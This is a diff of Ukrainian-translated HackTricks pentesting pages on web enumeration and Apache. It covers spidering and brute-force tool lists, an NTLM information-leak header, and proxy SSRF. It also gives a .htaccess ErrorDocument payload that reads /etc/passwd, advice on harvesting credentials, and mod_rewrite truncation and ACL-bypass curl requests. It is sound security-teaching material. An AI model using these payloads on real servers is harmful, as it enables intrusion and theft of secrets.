- **Upload files** через WebDav у інші знайдені папки на сайті. Можливо, у вас є права завантаження в інших папках.
### **Уразливості SSL/TLS**
### **SSL/TLS вразливості**
- Якщо застосунок **не вимагає HTTPS** в жодній частині, то він вразливий до MitM
- Якщо застосунок **не змушує користувача використовувати HTTPS** в жодній частині, то він **вразливий до MitM**
- Якщо застосунок **відправляє чутливі дані (паролі) через HTTP**, це серйозна вразливість.
Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) для перевірки SSL/TLS на **вразливості** (у Bug Bounty програмах такі вразливості, ймовірно, не будуть прийняті) та використайте [**a2sv**](https://github.com/hahwul/a2sv) для повторної перевірки.
Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) для перевірки **вразливостей** (у Bug Bounty програмах ці типи вразливостей, можливо, не приймаються) та використайте [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -195,60 +195,60 @@ Web servers можуть **поводитись непередбачувано**
sslscan <host:port>
sslyze --regular <ip:port>
```
Інформація про вразливості SSL/TLS:
Information about SSL/TLS vulnerabilities:
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### Spidering
Запустіть якийсь вид **spider** всередині веб-додатку. Мета spider — **знайти якомога більше шляхів** у тестованому застосунку. Тому для збору великої кількості валідних шляхів слід використовувати web crawling та зовнішні джерела.
Запустіть який-небудь **spider** всередині веб-додатку. Мета spider — **знайти якомога більше шляхів** у тестованому застосунку. Для цього слід використовувати веб-кролінг та зовнішні джерела, щоб відшукати якомога більше валідних шляхів.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder у JS-файлах та зовнішні джерела (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, з LinkFider для JS-файлів та Archive.org як зовнішнє джерело.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder у JS файлах та зовнішніх джерелах (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, з LinkFider для JS файлів та Archive.org як зовнішнім джерелом.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, також вказує на "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Інтерактивний CLI HTML spider. Також шукає в Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): Цей інструмент не є spider-ом, але може бути корисним. Ви можете вказати файл з hosts і файл з paths, і meg звантажить кожен path для кожного host та збереже відповіді.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider з можливістю рендерингу JS. Однак, схоже, що проект не підтримується, попередньо скомпільована версія стара і поточний код не компілюється
- [**gau**](https://github.com/lc/gau) (go): HTML spider, що використовує зовнішніх провайдерів (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Скрипт, що знайде URL-адреси з параметрами і перелічить їх.
- [**meg**](https://github.com/tomnomnom/meg) (go): Цей інструмент не є spider, але може бути корисним. Ви можете вказати файл з hosts та файл з paths, і meg завантажить кожен path для кожного host та збереже відповіді.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider з можливістю рендерингу JS. Однак, здається, що він не підтримується, попередньо скомпільована версія стара і поточний код не компілюється.
- [**gau**](https://github.com/lc/gau) (go): HTML spider, який використовує зовнішніх провайдерів (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Скрипт, який знайде URL з параметрами і виведе їх список.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider з можливістю рендерингу JS.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider з можливістю JS beautify, здатний шукати нові шляхи в JS-файлах. Також варто глянути на [JSScanner](https://github.com/dark-warlord14/JSScanner), який є wrapper-ом LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Для витягання endpoints в HTML-коді та вбудованих javascript-файлах. Корисно для bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 скрипт, що використовує Tornado і JSBeautifier для парсингу відносних URL з JavaScript-файлів. Корисно для швидкого виявлення AJAX-запитів. Схоже, що не підтримується.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Приймає файл (HTML) і витягує URL з нього, використовуючи корисні регулярні вирази для знаходження і витягання відносних URL з "уродливих" (minify) файлів.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Збирає цікаву інформацію з JS-файлів, використовуючи кілька інструментів.
- [**subjs**](https://github.com/lc/subjs) (go): Знаходить JS-файли.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Завантажує сторінку в headless browser і виводить всі URL, які були підвантажені для відображення сторінки.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Інструмент для discovery контенту, що поєднує кілька опцій попередніх інструментів
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Розширення для Burp для пошуку шляхів і параметрів у JS-файлах.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Інструмент, який, маючи URL .js.map, дає вам beautified JS-код
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Інструмент для виявлення endpoints для заданого таргету.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Виявляє посилання з wayback machine (також завантажує відповіді з wayback і шукає більше посилань)
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Краулер (навіть заповнюючи форми) і також знаходить чутливу інформацію за допомогою специфічних regex-ів.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite — просунутий багатофункціональний GUI web security Crawler/Spider для фахівців з кібербезпеки.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Go-пакет і [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) для витягання URL, шляхів, секретів та іншої цікавої інформації з JavaScript-коду.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge — просте **Burp Suite extension** для **витягання параметрів та endpoints** з запитів для створення кастомних wordlist-ів для fuzzing та enumeration.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Відмінний інструмент для цього.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Друкує всі посилання, які йому вдається знайти.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider з можливістю beautify JS, здатний шукати нові шляхи у JS файлах. Також варто глянути на [JSScanner](https://github.com/dark-warlord14/JSScanner), який є обгорткою для LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Для витягування endpoints як з HTML-джерела, так і з вбудованих javascript файлів. Корисно для bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Скрипт на python 2.7 з Tornado і JSBeautifier для парсингу відносних URL з JavaScript файлів. Корисний для швидкого виявлення AJAX-запитів. Здається, що не підтримується.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Дає файл (HTML) і витягує URL з нього, використовуючи хитрі регулярні вирази для знаходження і витягання відносних URL з зламаних (minify) файлів.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Збирає цікаву інформацію з JS файлів за допомогою кількох інструментів.
- [**subjs**](https://github.com/lc/subjs) (go): Знаходить JS файли.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Завантажує сторінку в headless browser і виводить всі URL, які були підвантажені для завантаження сторінки.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Інструмент для content discovery, що поєднує кілька опцій попередніх інструментів.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Розширення Burp для знаходження шляхів і параметрів у JS файлах.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Інструмент, який за .js.map URL дає вам beautified JS код.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Інструмент для виявлення endpoints для заданої цілі.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Відкриває посилання з wayback machine (також завантажуючи відповіді у wayback і шукаючи більше посилань).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Краулер (навіть заповнюючи форми) та також знаходить чутливу інформацію використовуючи специфічні regex-и.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite — це просунутий мультіфункціональний GUI web security Crawler/Spider для спеціалістів з кібербезпеки.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Пакет на Go та [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) для витягання URL, шляхів, секретів та іншої цікавої інформації з JavaScript source code.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge — просте **Burp Suite extension** для **витягання параметрів і endpoints** з request-ів для створення кастомних wordlist-ів для fuzzing та enumeration.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Чудовий інструмент для цього.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Виводить кожне посилання, яке йому вдається знайти.
### Brute Force directories and files
Почніть **brute-forcing** з кореневої теки і переконайтесь, що ви brute-force-ите **всі** **знайдені директорії** за **цією методою** і всі директорії, **виявлені** під час **Spidering** (ви можете виконувати brute-forcing **рекурсивно**, додаючи на початок вживаного wordlist-у імена знайдених директорій).\
Починайте **brute-forcing** з кореневої папки і переконайтесь, що ви brute-force-ите **всі** **директорії, знайдені** цим методом, а також усі директорії, **виявлені** під час **Spidering** (ви можете робити brute-forcing **рекурсивно** і додавати на початок використовуваного wordlist імена знайдених директорій).\
Інструменти:
- **Dirb** / **Dirbuster** - Включені в Kali, **старі** (і **повільні**), але працездатні. Дозволяють auto-signed certificates та рекурсивний пошук. Занадто повільні в порівнянні з іншими опціями.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Не дозволяє auto-signed certificates але** підтримує рекурсивний пошук.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Дозволяє auto-signed certificates, але **не** має **рекурсивного** пошуку.
- **Dirb** / **Dirbuster** - Включено в Kali, **старі** (і **повільні**), але функціональні. Дозволяють auto-signed certificates і рекурсивний пошук. Занадто повільні у порівнянні з іншими опціями.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Не дозволяє auto-signed certificates, але** дозволяє рекурсивний пошук.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Дозволяє auto-signed certificates, але **не має** **рекурсивного** пошуку.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Це не spider, але інструмент, який, маючи список знайдених URL-ів, видалить "дублікати" URL-ів.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension для створення списку директорій з burp history різних сторінок
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Видаляє URL з дубльованим функціоналом (на основі js imports)
- [**Chamaleon**](https://github.com/iustin24/chameleon): Використовує wapalyzer для визначення використовуваних технологій і підбору словників для використання.
- [**uro**](https://github.com/s0md3v/uro) (python): Це не spider, але інструмент, який з даного списку знайдених URL видалить "дублікати" URL.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension для створення списку директорій з burp history різних сторінок.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Видаляє URL з дубльованим функціоналом (на основі js imports).
- [**Chamaleon**](https://github.com/iustin24/chameleon): Використовує wapalyzer для визначення використаних технологій і підбору відповідних wordlists.
Рекомендовані словники:
**Рекомендовані словники:**
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@ -267,41 +267,41 @@ sslyze --regular <ip:port>
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Зверніть увагу, що щоразу, коли під час brute-forcing або spidering знаходиться нова директорія, її слід Brute-Force-ити._
_Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється нова директорія, її слід Brute-Force-ити._
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Знаходить биті посилання в HTML, які можуть бути вразливими до takeover
- **File Backups**: Після того як ви знайшли всі файли, шукайте бекапи всіх виконуваних файлів ("_.php_", "_.aspx_"...). Типові варіації імен для бекапу: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp та file.old._ Також можна використовувати інструмент [**bfac**](https://github.com/mazen160/bfac) **або** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: Ви можете використовувати інструменти як [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **та** [**Param Miner**](https://github.com/PortSwigger/param-miner) **для виявлення прихованих параметрів. Якщо можливо, спробуйте шукати** приховані параметри в кожному виконуваному веб-файлі.
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Знайти broken links всередині HTML, які можуть бути вразливими до takeover.
- **File Backups**: Після того як ви знайшли всі файли, шукайте бекапи всіх виконуваних файлів ("_.php_", "_.aspx_"...). Поширені варіації імен для бекапів: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp та file.old._ Також можна використати інструмент [**bfac**](https://github.com/mazen160/bfac) **або** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: Ви можете використовувати інструменти, такі як [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **та** [**Param Miner**](https://github.com/PortSwigger/param-miner) **для виявлення прихованих параметрів. Якщо можливо, спробуйте шукати** приховані параметри у кожному виконуваному web-файлі.
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comments:** Перевіряйте коментарі в усіх файлах — там можна знайти **credentials** або **приховану функціональність**.
- Якщо ви граєте в **CTF**, "поширений" трюк — **ховати** **інформацію** в коментарях праворуч на **сторінці** (використовуючи **сотні** пробілів, щоб ви не бачили дані при відкритті сорсу у браузері). Інша можливість — використовувати **кілька пустих рядків** і сховати інформацію в коментарі в **низу** веб-сторінки.
- **API keys**: Якщо ви **знайдете будь-який API key**, є керівництва по використанню API keys різних платформ: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: Якщо знайдете API key, що починається на **AIza** (наприклад **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik), можна використати проект [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) щоб перевірити, до яких API має доступ ключ.
- **S3 Buckets**: Під час spidering перевіряйте, чи будь-який **subdomain** або **link** пов’язаний з якимось **S3 bucket**. У такому випадку [**перевірте** **permissions** бакету](buckets/index.html).
- **Comments:** Перевіряйте коментарі у всіх файлах — там можна знайти **credentials** або **приховану функціональність**.
- Якщо ви граєте в **CTF**, "поширений" трюк — **ховати** **інформацію** всередині коментарів праворуч від сторінки (використовуючи **сотні** пробілів, щоб ви не бачили дані при відкритті коду у браузері). Інша можливість — використовувати **кілька нових рядків** і **сховати інформацію** в коментарі внизу веб-сторінки.
- **API keys**: Якщо ви **знайдете будь-який API key**, існують гайди/проекти, які показують, як використовувати API keys різних платформ: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: Якщо ви знайдете API key, що починається з **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik — ви можете використати проект [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) щоб перевірити, до яких API ключ має доступ.
- **S3 Buckets**: Під час spidering перевіряйте, чи якийсь **subdomain** або **link** пов'язаний з S3 bucket. У такому випадку [**перевірте** права доступу до bucket](buckets/index.html).
### Special findings
**Під час** виконання **spidering** та **brute-forcing** ви можете знайти **цікаві** **речі**, про які слід **повідомити**.
Під час виконання **spidering** та **brute-forcing** ви можете знайти **цікаві** **речі**, на які слід звернути увагу.
**Interesting files**
- Шукайте **посилання** на інші файли всередині **CSS** файлів.
- [If you find a _**.git**_ file some information can be extracted](git.md)
- Якщо ви знайдете _**.env**_, можна знайти інформацію, таку як api keys, паролі до БД та інші дані.
- Якщо ви знайдете **API endpoints**, вам слід також [протестувати їх](web-api-pentesting.md). Це не файли, але вони, ймовірно, "виглядатимуть" як такі.
- **JS files**: У секції spidering згадувалися кілька інструментів, що можуть витягувати шляхи з JS-файлів. Також корисно **моніторити кожен знайдений JS-файл**, оскільки іноді зміна може вказувати на введення потенційно вразливого функціоналу. Наприклад, можна використовувати [**JSMon**](https://github.com/robre/jsmon)**.**
- Ви також повинні перевіряти знайдені JS-файли за допомогою [**RetireJS**](https://github.com/retirejs/retire.js/) або [**JSHole**](https://github.com/callforpapers-source/jshole) щоб виявити, чи вони вразливі.
- [Якщо ви знайдете _**.git**_ файл, з нього можна витягти деяку інформацію](git.md)
- Якщо ви знайдете _**.env**_, там можна знайти інформацію, наприклад api keys, паролі до БД та інші дані.
- Якщо ви знайдете **API endpoints**, ви [повинні також протестувати їх](web-api-pentesting.md). Це не файли, але вони, ймовірно, будуть "виглядати" як файли.
- **JS files**: У розділі spidering згадувались інструменти, які можуть витягувати шляхи з JS файлів. Також корисно **моніторити кожен знайдений JS файл**, оскільки в деяких випадках зміни можуть вказувати, що в код було внесено потенційну вразливість. Можете використати, наприклад, [**JSMon**](https://github.com/robre/jsmon)**.**
- Також варто перевіряти виявлені JS файли за допомогою [**RetireJS**](https://github.com/retirejs/retire.js/) або [**JSHole**](https://github.com/callforpapers-source/jshole) на наявність відомих вразливостей.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- У багатьох випадках потрібно **розуміти регулярні вирази**, що використовуються. Це буде корисно: [https://regex101.com/](https://regex101.com) або [https://pythonium.net/regex](https://pythonium.net/regex)
- Ви також можете **моніторити файли, де були виявлені форми**, оскільки зміна параметра або поява нової форми може свідчити про потенційно вразливий функціонал.
- У багатьох випадках вам знадобиться **розуміти регулярні вирази**, які використовуються. Це буде корисно: [https://regex101.com/](https://regex101.com) або [https://pythonium.net/regex](https://pythonium.net/regex)
- Ви також можете **моніторити файли, в яких були знайдені форми**, оскільки зміна параметрів або поява нової форми може вказувати на потенційно нову вразливу функціональність.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -312,28 +312,28 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
**502 Proxy Error**
Якщо будь-яка сторінка **відповідає** цим **кодом**, ймовірно це **погано налаштований proxy**. **Якщо ви надішлете HTTP-запит типу: `GET https://google.com HTTP/1.1`** (з Host header та іншими стандартними заголовками), **proxy** спробує **доступитися** до _**google.com**_ **і ви знайдете** SSRF.
Якщо будь-яка сторінка відповідає цим **кодом**, ймовірно це **неправильно налаштований proxy**. **Якщо ви відправите HTTP-запит типу: `GET https://google.com HTTP/1.1`** (з заголовком host та іншими загальними заголовками), **proxy** спробує доступитися до _**google.com**_ **і ви знайдете** SSRF.
**NTLM Authentication - Info disclosure**
Якщо сервер, що вимагає аутентифікацію, — **Windows**, або ви натрапите на логін, який запитує ваші **credentials** (і просить **domain** **name**), ви можете спричинити **витік інформації**.\
**Надішліть** заголовок: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` і через те, як працює **NTLM authentication**, сервер відповість внутрішньою інфою (версія IIS, версія Windows...) у заголовку "WWW-Authenticate".\
Ви можете **автоматизувати** це за допомогою **nmap plugin** "_http-ntlm-info.nse_".
Якщо сервер, який запитує аутентифікацію, — **Windows**, або ви бачите логін, що просить ваші **credentials** (і запитує **domain** **name**), ви можете спричинити **витік інформації**.\
Відправте заголовок: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` і через те, як працює **NTLM authentication**, сервер відповість внутрішньою інформацією (версія IIS, версія Windows...) у заголовку "WWW-Authenticate".\
Ви можете **автоматизувати** це за допомогою nmap плагіна "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)**
Можна **вкладати контент** всередину **Redirection**. Цей контент **не буде показаний користувачу** (бо браузер виконає редирект), але там можна **сховати** інформацію.
Можна **вкласти контент** всередину **редиректу**. Цей контент **не буде відображатися користувачу** (бо браузер виконає редирект), але в ньому може бути **схована** інформація.
### Web Vulnerabilities Checking
Тепер, коли виконано всебічну енумерацію веб-додатку, час перевірити багато можливих вразливостей. Чекліст доступний тут:
Тепер, коли виконана всебічна енумерація веб-застосунку, настав час перевірити велику кількість можливих вразливостей. Чекліст доступний тут:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}}
Детальніше про web vulns:
Дізнайтесь більше про web vulns тут:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
@ -341,7 +341,7 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
### Monitor Pages for changes
Ви можете використовувати інструменти, такі як [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) для моніторингу сторінок на предмет змін, що можуть вносити вразливості.
Ви можете використовувати інструменти, такі як [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io), щоб моніторити сторінки на предмет змін, які можуть ввести вразливості.
### HackTricks Automatic Commands
```

View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Виконувані PHP-розширення
## Виконувані PHP розширення
Перевірте, які розширення виконує сервер Apache. Щоб їх знайти, виконайте:
Дізнайтеся, які розширення виконує сервер Apache. Щоб знайти їх, ви можете виконати:
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
Також деякі місця, де ви можете знайти цю конфігурацію:
Також, деякі місця, де ви можете знайти цю конфігурацію:
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
@ -23,12 +23,12 @@ Linux
```
## LFI via .htaccess ErrorDocument file provider (ap_expr)
Якщо ви можете контролювати .htaccess каталогу і AllowOverride включає FileInfo для цього шляху, ви можете перетворити відповіді 404 у довільне читання локальних файлів, використовуючи функцію file() з ap_expr всередині ErrorDocument.
Якщо ви можете контролювати .htaccess каталогу і AllowOverride включає FileInfo для цього шляху, ви можете перетворити відповіді 404 на довільне читання локальних файлів, використовуючи функцію ap_expr file() всередині ErrorDocument.
- Вимоги:
- Apache 2.4 з увімкненим парсером виразів (ap_expr) (за замовчуванням у 2.4).
- vhost/dir повинен дозволяти .htaccess встановлювати ErrorDocument (AllowOverride FileInfo).
- Користувач Apache, від імені якого працює процес, повинен мати права читання на цільовий файл.
- vhost/dir має дозволяти .htaccess встановлювати ErrorDocument (AllowOverride FileInfo).
- Користувач Apache worker повинен мати права читання на цільовий файл.
.htaccess payload:
```apache
@ -37,17 +37,17 @@ Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
```
Спрацьовує при запиті будь-якого неіснуючого шляху всередині цієї директорії, наприклад при зловживанні userdir-style hosting:
Спрацює при запиті будь-якого неіснуючого шляху в цій директорії, наприклад при зловживанні userdir-style hosting:
```bash
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
```
Notes and tips:
- Працюють тільки абсолютні шляхи. Вміст повертається як тіло відповіді для 404 handler.
- Effective read permissions належать користувачу Apache (зазвичай www-data/apache). Ви не зможете прочитати /root/* або /etc/shadow у стандартних налаштуваннях.
- Навіть якщо .htaccess належить root, якщо батьківський каталог належить tenant і дозволяє перейменування, ви можете змогти перейменувати оригінальний .htaccess і завантажити власну заміну через SFTP/FTP:
Примітки та поради:
- Працюють лише абсолютні шляхи. Вміст повертається як тіло відповіді для 404 handler.
- Ефективні права читання — ті, що має Apache user (зазвичай www-data/apache). Ви не зможете прочитати /root/* або /etc/shadow у стандартних налаштуваннях.
- Навіть якщо .htaccess належить root, якщо батьківський каталог tenant-owned і дозволяє перейменування, ви можете перейменувати оригінальний .htaccess і завантажити власну заміну через SFTP/FTP:
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- Використовуйте це, щоб прочитати вихідний код додатку під DocumentRoot або vhost config paths для збору секретів (DB creds, API keys, тощо).
- Використовуйте це, щоб читати код застосунку під DocumentRoot або vhost config paths для збору секретів (DB creds, API keys, тощо).
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
@ -57,11 +57,11 @@ These types of attacks has been introduced and documented [**by Orange in this b
#### Truncation
The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. But in other occasions this will be treated as file path, which would cause a problem.
The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
- **Path Truncation**
It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
Можна зловживати `mod_rewrite`, як у наведеному нижче прикладі правила, щоб отримати доступ до інших файлів у файловій системі, видаляючи останню частину очікуваного шляху простим додаванням `?`:
```bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
@ -76,7 +76,7 @@ curl http://server/user/orange%2Fsecret.yml%3F
```
- **Mislead RewriteFlag Assignment**
У наступному правилі перепису, доки URL закінчується на .php, воно буде трактуватися й виконуватися як php. Тому можна відправити URL, що закінчується на .php після символу `?`, підвантаживши в шляху файл іншого типу (наприклад, зображення) з шкідливим php-кодом всередині:
У наведеному нижче правилі перепису, поки URL закінчується на .php, він буде розглядатися і виконуватися як php. Отже, можливо надіслати URL, що закінчується на .php після символу `?`, при цьому в шляху завантажити інший тип файлу (наприклад, зображення) з вкладеним шкідливим php-кодом:
```bash
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
```
#### **ACL Bypass**
Можна отримати доступ до файлів, до яких користувач не повинен мати доступ, навіть якщо доступ має бути заборонений при конфігураціях, таких як:
Можливо отримати доступ до файлів, до яких користувач не повинен мати доступ, навіть якщо доступ має бути заборонений за допомогою конфігурацій на кшталт:
```xml
<Files "admin.php">
AuthType Basic
@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
```
